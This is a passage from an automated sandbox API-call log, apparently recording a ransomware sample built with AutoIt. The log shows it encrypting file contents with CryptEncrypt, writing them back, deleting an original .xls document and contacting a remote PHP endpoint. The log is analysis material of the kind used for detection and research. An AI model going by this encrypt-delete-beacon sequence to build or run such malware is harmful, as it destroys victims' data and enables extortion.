dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e1b0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.402] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.402] CryptGetKeyParam (in: hKey=0x164c430, dwParam=0x7, pbData=0x1629520, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629520*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.402] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.402] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.402] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.402] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.402] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.402] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.402] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.402] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.402] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.402] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.402] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.402] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.402] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.402] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.402] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.402] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.402] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.403] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.403] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.403] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.403] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.403] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.403] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.403] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.403] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xb471, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xb480) returned 1 [0073.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.404] CharLowerBuffW (in: lpsz="byte[46209]", cchLength=0xb | out: lpsz="byte[46209]") returned 0xb [0073.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.404] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.404] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.404] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.405] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.405] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621948, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.405] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.405] CryptEncrypt (in: hKey=0x164c430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x18028a0*, pdwDataLen=0x130e618*=0xb471, dwBufLen=0xb480 | out: pbData=0x18028a0*, pdwDataLen=0x130e618*=0xb480) returned 1 [0073.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.405] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.405] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.405] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.405] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.405] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.406] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.406] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.406] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.406] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.406] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.406] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.406] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.407] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.407] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.407] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.407] WriteFile (in: hFile=0x3d0, lpBuffer=0x17ebfa8*, nNumberOfBytesToWrite=0xb480, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17ebfa8*, lpNumberOfBytesWritten=0x130f01c*=0xb480, lpOverlapped=0x0) returned 1 [0073.409] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.409] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.409] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.409] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.409] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.409] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.409] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.409] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.409] CryptDestroyKey (hKey=0x164c430) returned 1 [0073.409] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.410] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.410] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.410] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.410] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.410] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.410] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.410] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.410] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.410] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.410] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.410] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.410] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.410] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.410] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.410] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.410] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.410] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.410] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.410] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.418] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.418] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.418] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.418] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.418] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.418] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.418] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.419] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.419] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.419] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.419] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.419] CryptReleaseContext (hProv=0x17aa450, dwFlags=0x0) returned 1 [0073.419] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.419] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.419] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.420] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.420] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.420] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.420] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.420] CloseHandle (hObject=0x3ac) returned 1 [0073.421] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.421] CloseHandle (hObject=0x3d0) returned 1 [0073.423] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.424] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.424] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", lpFilePart=0x0) returned 0x33 [0073.424] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\t9fe.xls")) returned 0x20 [0073.424] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c830 [0073.424] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\t9Fe.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\t9fe.xls")) returned 1 [0073.428] FindNextFileW (in: hFindFile=0x164c830, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.429] FindClose (in: hFindFile=0x164c830 | out: hFindFile=0x164c830) returned 1 [0073.429] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.429] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.429] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.429] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.429] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0073.429] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0073.430] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.430] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.430] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.430] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.430] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.430] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e08, lpdwBufferLength=0x130ef8c) returned 1 [0073.430] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.430] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.430] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.431] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.431] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.431] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0073.431] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0073.431] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.432] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.432] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.432] CloseHandle (hObject=0x0) returned 0 [0073.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.432] CompareStringW 